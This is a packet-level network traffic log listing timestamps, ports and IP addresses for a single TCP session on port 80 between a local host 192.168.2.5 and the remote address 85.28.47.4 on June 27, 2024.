Jun 27, 2024 19:26:01.163034916 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.163062096 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.163080931 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.163094997 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.163103104 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.163146019 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.163522005 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.163556099 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.163580894 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.163590908 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.163599968 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.163626909 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.163640022 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.163662910 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.163675070 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.163697958 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.163710117 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.163733006 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.163747072 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.163769007 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.163783073 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.163804054 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.163819075 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.163839102 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.163856030 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.163887978 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.163908958 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.163923025 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.163929939 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.163957119 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.163964987 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.163992882 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.164007902 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.164027929 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.164032936 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.164063931 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.164077997 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.164125919 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.164355040 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.164464951 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.164465904 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.164520979 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.164524078 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.164556026 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.164561987 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.164592028 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.164599895 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.164625883 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.164644003 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.164660931 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.164665937 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.164695978 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.164710045 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.164731026 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.164746046 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.164766073 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.164781094 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.164802074 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.164808989 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.164836884 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.164851904 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.164870977 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.164882898 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.164906979 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.164917946 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.164942026 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.164952993 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.164983988 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.165283918 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.165318012 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.165342093 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.165350914 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.165359974 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.165385962 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.165396929 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.165421009 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.165436983 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.165456057 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.165471077 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.165491104 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.165527105 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.165528059 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.165549994 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.165561914 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.165572882 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.165597916 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.165608883 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.165646076 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.247699976 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.247762918 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.247776985 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.247798920 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.247818947 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.247837067 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.247843027 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.247872114 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.247889996 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.247915030 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.247946024 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.247961044 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.247975111 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.247989893 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.248012066 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.248013020 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.248071909 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.248087883 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.248130083 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.248130083 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.248179913 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.248194933 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.248229980 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.248229980 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.248296976 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.248311996 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.248326063 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.248342991 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.248343945 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.248369932 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.248369932 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.248404026 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.248588085 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.248603106 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.248617887 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.248631954 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.248637915 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.248655081 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.248660088 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.248675108 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.248684883 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.248692036 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.248706102 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.248725891 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.248744965 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.249017954 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.249032974 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.249046087 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.249061108 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.249067068 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.249075890 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.249089956 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.249094963 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.249114037 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.249136925 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.249136925 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.249356031 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.249371052 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.249385118 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.249401093 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.249403954 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.249403954 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.249414921 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.249424934 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.249432087 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.249452114 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.249452114 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.249473095 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.249671936 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.249686956 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.249733925 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.249733925 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.249825954 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.249841928 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.249854088 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.249870062 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.249870062 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.249885082 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.249891043 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.249901056 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.249911070 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.249917030 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.249931097 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.249933004 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.249946117 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.249957085 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.249958038 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.249962091 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.249977112 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.249979019 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.249994040 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.249998093 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.250010967 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.250017881 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.250026941 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.250039101 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.250044107 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.250061035 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.250097036 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.250097036 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.250750065 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.250766039 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.250780106 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.250792980 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.250794888 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.250811100 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.250814915 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.250827074 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.250835896 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.250844002 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.250854015 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.250860929 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.250870943 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.250878096 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.250894070 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.250896931 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.250896931 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.250910044 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.250924110 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.250924110 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.250926018 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.250941992 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.250947952 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.250957966 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.250962019 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.250978947 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.250999928 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.251566887 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.251583099 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.251596928 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.251611948 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.251614094 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.251627922 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.251641035 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.251641989 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.251643896 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.251667023 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.251667023 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.251668930 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.251686096 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.251686096 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.251701117 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.251709938 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.251715899 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.251732111 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.251733065 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.251732111 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.251748085 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.251758099 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.251765966 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.251780987 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.251780987 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.251784086 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.251801968 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.251810074 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.251816988 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.251828909 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.251866102 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.251866102 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.252548933 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.252563953 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.252578020 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.252593040 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.252597094 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.252609015 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.252623081 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.252624035 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.252625942 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.252641916 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.252644062 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.252644062 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.252657890 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.252669096 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.252679110 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.252686024 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.252693892 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.252707005 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.252712011 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.252727032 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.252731085 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.252731085 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.252743959 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.252751112 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.252758980 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.252775908 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.252778053 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.252778053 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.252801895 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.252825022 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.253396034 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.253412008 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.253426075 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.253439903 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.253442049 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.253456116 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.253468990 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.253468990 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.253472090 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.253489017 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.253494978 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.253494978 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.253504992 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.253520012 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.253520966 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.253520966 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.253535986 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.253540039 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.253554106 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.253568888 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.253583908 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.253588915 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.253588915 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.253599882 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.253612041 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.253618002 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.253632069 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.253634930 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.253650904 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.253659010 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.253659964 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.253679037 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.253698111 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.254153967 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.254168987 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.254183054 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.254195929 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.254206896 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.254213095 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.254228115 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.254251003 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.340837955 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.340876102 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.340890884 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.340928078 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.340991974 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.341026068 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.341042042 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.341057062 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.341073036 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.341079950 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.341103077 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.341129065 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 19:26:01.341310024 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.341325045 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 19:26:01.341351986 CEST	80	49705	85.28.47.4	192.168.2.5
